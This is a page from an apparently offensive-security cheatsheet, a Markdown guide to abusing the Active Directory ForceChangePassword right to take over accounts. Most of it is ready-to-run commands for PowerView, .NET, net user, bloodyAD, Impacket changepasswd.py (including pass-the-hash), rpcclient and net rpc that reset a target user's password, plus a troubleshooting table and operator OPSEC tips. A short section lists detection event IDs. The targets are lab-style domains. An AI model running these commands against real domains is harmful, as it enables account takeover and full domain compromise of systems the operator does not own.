daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

attack-23-forcechangepassword-abuse.md (12601B)


      1 ---
      2 title: "Attack #23 β€” ForceChangePassword Abuse"
      3 description: "ForceChangePassword (also known as User-Force-Change-Password extended right) allows a principal to reset another user's password without knowing their…"
      4 category: active-directory
      5 subcategory: "ACL Abuse"
      6 tags: ["active-directory", "delegation", "privilege-escalation"]
      7 tools: ["Impacket", "PowerShell"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/AD-Attack/Category-Three/🟑 Attack #23 β€” ForceChangePassword Abuse.md"
     11 ---
     12 # 🟑 Attack #23 β€” ForceChangePassword Abuse
     13 
     14 ***
     15 
     16 ## πŸ“– How It Works
     17 
     18 ForceChangePassword (also known as `User-Force-Change-Password` extended right) allows a principal to **reset another user's password without knowing their current password**. Unlike GenericAll or GenericWrite, this is a **single-purpose ACE** β€” it can only reset the password, nothing else. However, if the target is a Domain Admin or service account, one password reset is all you need for full domain compromise.
     19 
     20 This right is commonly granted to helpdesk groups, IT support teams, and password reset delegations β€” and is frequently over-scoped to include privileged accounts.
     21 
     22 ***
     23 
     24 ## βš™οΈ Prerequisites
     25 
     26 | Requirement | Detail |
     27 |---|---|
     28 | **ForceChangePassword/User-Force-Change-Password on target** | Extended right in the target user's DACL |
     29 | **Domain user account** | Any authenticated domain user with this right |
     30 
     31 ***
     32 
     33 ## πŸ› οΈ Tools
     34 
     35 | Tool | Platform | Notes |
     36 |---|---|---|
     37 | **PowerView** | Windows | `Set-DomainUserPassword` β€” most reliable on-box |
     38 | **Pure .NET** | Windows | `DirectoryEntry.Invoke("SetPassword", ...)` β€” no uploads needed |
     39 | **net user** | Windows | Native Windows command |
     40 | **bloodyAD** | Linux | `set password` β€” LDAP/LDAPS, most reliable from Linux |
     41 | **changepasswd.py** | Linux | Impacket β€” SAMR/RPC/KPASSWD/LDAP, `-altuser` = right-holder |
     42 | **rpcclient / net rpc** | Linux | SAMR β€” often blocked on modern DCs |
     43 | **RSAT** | Windows | `Set-ADAccountPassword` β€” only if AD module installed |
     44 
     45 ***
     46 
     47 ## πŸ’» Full Commands
     48 
     49 ### πŸ”΄ Password Reset Exploitation
     50 
     51 #### From Windows (on-box / evil-winrm session)
     52 
     53 ```powershell
     54 # ── PowerView (most reliable on-box) ─────────────────────────────────────────
     55 Import-Module .\PowerView.ps1
     56 
     57 # These are TWO separate commands β€” run them one at a time, not pasted together.
     58 # Pasting both lines at once (or chaining with ';' in one paste) can make the
     59 # reset run before $NewPassword exists in the session β†’ "cannot bind argument" errors.
     60 
     61 # Command 1: build the SecureString (no output β€” it just sets the variable)
     62 $NewPassword = ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force
     63 
     64 # Command 2: perform the reset using that variable
     65 Set-DomainUserPassword -Identity ssmalls -AccountPassword $NewPassword -Verbose
     66 
     67 # One-liner alternative if you must do it in a single line β€” no variable needed:
     68 Set-DomainUserPassword -Identity ssmalls -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force) -Verbose
     69 
     70 # ── Pure .NET β€” no PowerView, no RSAT needed ─────────────────────────────────
     71 # Works anywhere .NET runs; talks LDAP directly to the DC as your session user
     72 $entry = New-Object DirectoryServices.DirectoryEntry(
     73   "LDAP://CN=ssmalls,CN=Users,DC=inlanefreight,DC=local")
     74 $entry.Invoke("SetPassword", "Str0ngpass86!")
     75 $entry.CommitChanges()
     76 
     77 # ── net user (native, no uploads at all) ─────────────────────────────────────
     78 net user ssmalls Str0ngpass86! /domain
     79 
     80 # ── RSAT ActiveDirectory module (only if RSAT/AD module is installed) ────────
     81 Set-ADAccountPassword -Identity ssmalls -NewPassword (
     82   ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force
     83 ) -Reset
     84 ```
     85 
     86 #### From Linux
     87 
     88 ```bash
     89 # ── bloodyAD β€” LDAP(S), most reliable from Linux ─────────────────────────────
     90 bloodyAD -d inlanefreight.local -u low_user -p 'Password1' \
     91   --host DC01.inlanefreight.local set password ssmalls 'Str0ngpass86!'
     92 
     93 # ── bloodyAD β€” DC by IP (--host accepts name OR IP) ──────────────────────────
     94 bloodyAD -d inlanefreight.local -u low_user -p 'Password1' \
     95   --host 10.129.229.147 set password ssmalls 'Str0ngpass86!'
     96 
     97 # ── bloodyAD β€” add --dc-ip when --host name won't resolve ────────────────────
     98 bloodyAD -d inlanefreight.local -u low_user -p 'Password1' \
     99   --host DC01.inlanefreight.local --dc-ip 10.129.229.147 \
    100   set password ssmalls 'Str0ngpass86!'
    101 
    102 # ── bloodyAD β€” LDAPS if plain LDAP password set is refused ───────────────────
    103 bloodyAD -s -d inlanefreight.local -u low_user -p 'Password1' \
    104   --host 10.129.229.147 set password ssmalls 'Str0ngpass86!'
    105 
    106 # ── Impacket changepasswd.py β€” SAMR/RPC/KPASSWD/LDAP in one tool ─────────────
    107 # -altuser = YOU (the right-holder), target = the account being reset
    108 changepasswd.py -altuser low_user -altpass 'Password1' \
    109   -newpass 'Str0ngpass86!' -reset \
    110   inlanefreight.local/ssmalls@dc01.inlanefreight.local
    111 
    112 # ── changepasswd.py β€” pick a protocol explicitly ─────────────────────────────
    113 changepasswd.py -protocol smb-samr -altuser low_user -altpass 'Password1' \
    114   -newpass 'Str0ngpass86!' -reset inlanefreight.local/ssmalls@10.129.229.147
    115 changepasswd.py -protocol ldap -altuser low_user -altpass 'Password1' \
    116   -newpass 'Str0ngpass86!' -reset inlanefreight.local/ssmalls@10.129.229.147
    117 
    118 # ── changepasswd.py β€” pass-the-hash as the right-holder ──────────────────────
    119 changepasswd.py -altuser low_user -althash 31d6cfe0d16ae931b73c59d7e0c089c0 \
    120   -newpass 'Str0ngpass86!' -reset inlanefreight.local/ssmalls@10.129.229.147
    121 
    122 # ── rpcclient (SAMR) β€” often BLOCKED on modern DCs, kept for older targets ───
    123 rpcclient -U 'inlanefreight.local/low_user%Password1' 10.129.229.147 \
    124   -c "setuserinfo2 ssmalls 23 Str0ngpass86!"
    125 
    126 # ── net rpc (SAMR) β€” same caveats as rpcclient ───────────────────────────────
    127 net rpc password ssmalls 'Str0ngpass86!' \
    128   -U 'inlanefreight.local/low_user%Password1' -S 10.129.229.147
    129 ```
    130 
    131 ### 🧭 Which Method When β€” Troubleshooting
    132 
    133 | Symptom | Cause | Fix |
    134 |---|---|---|
    135 | `Access is denied` from rpcclient / `net rpc` | SAMR remote calls hardened on Server 2016+ DCs | Use bloodyAD or changepasswd.py (LDAP) instead |
    136 | bloodyAD: `unwillingToPerform` / `strongerAuthRequired` | Plain LDAP (389) refuses password writes | Add `-s` (LDAPS) or use `-ss` |
    137 | `Set-ADAccountPassword` not recognized | RSAT AD module not installed | Use PowerView or the pure .NET method |
    138 | PowerView `Set-DomainUserPassword` fails on `ldap://` bind | Wrong DN/domain or DC unreachable | Check `-Domain` / `-DomainController` flags; verify connectivity |
    139 | Password "resets" but login fails | Domain password policy (complexity/history) | Pick a compliant password, e.g. `Str0ngpass86!` |
    140 | Reset works but target can't log in for minutes | `minPwdAge` / replication lag between DCs | Wait, or pin to the PDC emulator with `--host` |
    141 | Right exists but every tool says denied | You're querying/abusing the wrong DC | Force the DC holding your token: `--dc-ip` / `-DomainController` |
    142 
    143 ***
    144 
    145 ## 🩸 bloodyAD β€” Connection Flags Explained
    146 
    147 Every bloodyAD command follows the same pattern: **connection flags first, then the action** (`add`, `get`, `set`, `remove`).
    148 
    149 ```
    150 bloodyAD [connection flags] <action> <subcommand> [args]
    151 ```
    152 
    153 | Flag | Long form | What it does |
    154 |---|---|---|
    155 | `-d` | `--domain` | Domain for NTLM auth, e.g. `-d inlanefreight.local` |
    156 | `-u` | `--username` | Username, e.g. `-u low_user` |
    157 | `-p` | `--password` | Password **or** `LMHASH:NTHASH` for pass-the-hash |
    158 | `-H` | `--host` | **(required)** Hostname **or IP** of the DC, e.g. `--host 10.129.229.147` |
    159 | `-i` | `--dc-ip` | IP of the DC β€” use when `--host` is a name that won't resolve |
    160 | `--dns` | β€” | IP of a DNS server to resolve AD names (cross-domain work) |
    161 | `-k` | `--kerberos` | Use Kerberos; can take `kdc=...`, `ccache=...`, `keytab=...` |
    162 | `-f` | `--format` | Format of `-p` / keyfile: `aes`, `rc4`, `hex`, `b64` |
    163 | `-c` | `--certificate` | Cert auth (Schannel or PKINIT): `"key.pem:cert.pem"` |
    164 | `-s` | `--secure` | LDAP over TLS (`-ss` simple bind, `-sss` no signing/CBT) |
    165 | `--gc` | β€” | Connect to the Global Catalog instead of LDAP |
    166 | `-t` | `--timeout` | Connection timeout in seconds |
    167 
    168 ```bash
    169 # ── Basic: domain + user + password, DC by hostname ──────────────────────────
    170 bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
    171   set password targetadmin 'P@ssword123!'
    172 
    173 # ── DC by IP: --host accepts the IP directly, no DNS needed ──────────────────
    174 bloodyAD -d corp.local -u low_user -p 'Password1' --host 10.129.229.147 \
    175   set password targetadmin 'P@ssword123!'
    176 
    177 # ── --host by name + --dc-ip: name used for LDAP/Kerberos, IP for connecting ─
    178 # Use when the DC name is needed (Kerberos SPNs, certs) but doesn't resolve.
    179 bloodyAD -d corp.local -u low_user -p 'Password1' \
    180   --host DC01.corp.local --dc-ip 10.129.229.147 \
    181   set password targetadmin 'P@ssword123!'
    182 
    183 # ── Pass-the-hash: -p takes LMHASH:NTHASH ─────────────────────────────────────
    184 bloodyAD -d corp.local -u low_user -p 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' \
    185   --host 10.129.229.147 set password targetadmin 'P@ssword123!'
    186 
    187 # ── Kerberos with a ccache ticket ─────────────────────────────────────────────
    188 bloodyAD -k -d corp.local -u low_user --host DC01.corp.local --dc-ip 10.129.229.147 \
    189   set password targetadmin 'P@ssword123!'
    190 # or point at a specific KDC / ticket file:
    191 bloodyAD -k kdc=10.129.229.147 ccache=/home/kali/low_user.ccache \
    192   -d corp.local -u low_user --host DC01.corp.local \
    193   set password targetadmin 'P@ssword123!'
    194 
    195 # ── LDAPS (port 636) β€” needed when LDAP signing/TLS is enforced ───────────────
    196 bloodyAD -s -d corp.local -u low_user -p 'Password1' --host 10.129.229.147 \
    197   set password targetadmin 'P@ssword123!'
    198 ```
    199 
    200 > πŸ’‘ **Rule of thumb:** `-d` + `-u` + `-p` say *who you are*; `--host` says *where the DC is* (name or IP both work); `--dc-ip` is the fallback for when the name in `--host` won't resolve. `-k`, `-c`, `-s` change *how* you authenticate/connect.
    201 
    202 > ⚠️ **Flag placement matters:** all connection flags (`--host`, `--dc-ip`, `-d`, `-u`, `-p`, …) must come **before** the action. Anything after `set password <user> <newpass>` is parsed as an argument of that subcommand β€” putting `--dc-ip` at the end gives `error: unrecognized arguments`.
    203 
    204 ***
    205 
    206 ## 🎯 OPSEC Tips
    207 
    208 - **Password resets are LOUD** β€” the target user will notice immediately if they can't log in
    209 - **Event 4724 is generated** on every password reset β€” easy to detect and correlate
    210 - **Consider Shadow Credentials instead** if you have GenericWrite β€” it doesn't change the password
    211 - **Some accounts have "cannot change password" set** β€” ForceChangePassword bypasses this, but the event is still logged
    212 
    213 ***
    214 
    215 ## πŸ›‘οΈ Detection β€” Event IDs
    216 
    217 | Event ID | Source | What to Look For |
    218 |---|---|---|
    219 | **4724** | Security Log (DC) | Password reset by a non-helpdesk account targeting a privileged user |
    220 | **4723** | Security Log (DC) | User attempted to change their own password (not relevant here) |
    221 
    222 ***
    223 
    224 ## πŸ”— Attack Chain Context
    225 
    226 ```
    227 [ForceChangePassword] ──→ Account Takeover via Password Reset
    228          β”‚
    229          β”œβ”€β”€β†’ πŸ”‘ Reset DA password β†’ instant domain compromise
    230          β”œβ”€β”€β†’ ⚠️ Loudest ACL attack β€” user notices immediately
    231          β”œβ”€β”€β†’ πŸ”— Prefer: Shadow Credentials (#25) if GenericWrite available
    232          └──→ πŸ’€ Defeated by: monitor 4724, restrict password reset delegation
    233 ```
    234 
    235 ***
    236 
    237 > βœ… **Attack #23 β€” ForceChangePassword Abuse complete.**